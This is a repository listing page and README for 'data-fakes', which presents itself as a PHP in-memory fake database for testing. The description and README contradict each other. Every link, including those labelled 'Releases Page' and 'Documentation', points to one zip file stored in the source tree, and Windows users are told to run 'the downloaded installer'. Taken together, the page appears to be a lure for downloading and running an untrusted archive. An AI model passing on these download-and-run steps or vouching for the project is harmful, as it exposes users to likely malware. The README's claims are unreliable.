https://github.com/2022-04-11588/data-fakes
🔍 Generate realistic fake data for testing and development, enhancing your projects with simple, customizable data solutions.
https://github.com/2022-04-11588/data-fakes
data dataset developer-tools fake-content faker fakery groovy java mock phoenix python random ruby seeding struct swift-framework test-data testing
Last synced: 2 months ago
JSON representation
🔍 Generate realistic fake data for testing and development, enhancing your projects with simple, customizable data solutions.
- Host: GitHub
- URL: https://github.com/2022-04-11588/data-fakes
- Owner: 2022-04-11588
- License: mit
- Created: 2025-12-16T03:39:41.000Z (6 months ago)
- Default Branch: main
- Last Pushed: 2026-04-09T16:50:06.000Z (2 months ago)
- Last Synced: 2026-04-09T18:27:31.386Z (2 months ago)
- Topics: data, dataset, developer-tools, fake-content, faker, fakery, groovy, java, mock, phoenix, python, random, ruby, seeding, struct, swift-framework, test-data, testing
- Language: PHP
- Size: 1.92 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Changelog: CHANGELOG.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
- Code of conduct: CODE_OF_CONDUCT.md
- Security: SECURITY.md
Awesome Lists containing this project
README
# 🎉 data-fakes - Easy In-Memory Database for Testing
## 📥 Download Now!
[](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)
## 🚀 Getting Started
Welcome to the data-fakes repository! This application provides an easy way to create in-memory fake databases for MySQL, Redis, and MongoDB. It is designed for anyone looking to test database interactions without the complexity of real databases.
## 🌟 Key Features
- **Deterministic Storage**: Get predictable and repeatable results during tests.
- **DBAL Simulation**: Simulate database interactions easily.
- **Time-To-Live (TTL)**: Manage data expiration effortlessly.
- **Filtering**: Retrieve only the data you need for testing.
- **Full Test Isolation**: Each test runs independently to avoid conflicts.
## 💻 System Requirements
- **Operating System**: Windows, macOS, or Linux
- **Memory**: At least 512 MB RAM
- **PHP Version**: PHP 8.0 or later is required
- **Composer**: Make sure to have Composer installed to manage PHP dependencies.
## 📂 Download & Install
To get started, follow these steps:
1. **Visit the Releases Page**: Click the link below to go to the releases page.
[Visit Releases Page to Download](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)
2. **Choose a Release**: Look for the latest version available.
3. **Download the Files**: You may see multiple files; select the one suitable for your operating system.
4. **Install the Application**:
- For **Windows**, run the downloaded installer.
- For **macOS**, drag the application to your Applications folder.
- For **Linux**, you may need to extract files and run specific commands in the terminal.
5. **Set Up Your Environment**: Follow any on-screen prompts to configure your environment.
6. **Start Using data-fakes**: Open the application and begin your testing!
## 🎓 How to Use data-fakes
To use data-fakes effectively, consider these points:
- **Create a Connection**: Set up a connection to your fake database using the adapter appropriate for your testing needs.
- **Add Sample Data**: You can insert sample data into the in-memory database as needed for simulation purposes.
- **Run Tests**: Execute your tests against the fake database. Each run will provide consistent results since the data is stored in-memory.
- **Cleaning Up**: After your tests, you can reset the database, ensuring no data persists beyond your tests.
## 📚 Additional Documentation
For more detailed instructions, refer to the documentation available in the repository. This includes examples and advanced usage patterns to help you get the most out of data-fakes.
## 🤝 Community Support
If you have questions or need help, feel free to open an issue in the repository. You can also check the discussions section for community tips and advice.
## 🔍 Related Topics
This repository includes a variety of topics relevant to database and PHP testing:
- **Data Adapters**
- **Data Storage**
- **Mock Databases**
- **DBAL Simulations**
Explore these areas to enhance your understanding of how data-fakes integrates into your projects.
## 📜 License
This project is licensed under the MIT License. You can use, modify, and distribute the code, but attribution is appreciated.
## 📥 Quick Links
- [Download data-fakes](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)
- [Documentation](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)
Start your testing journey with data-fakes today!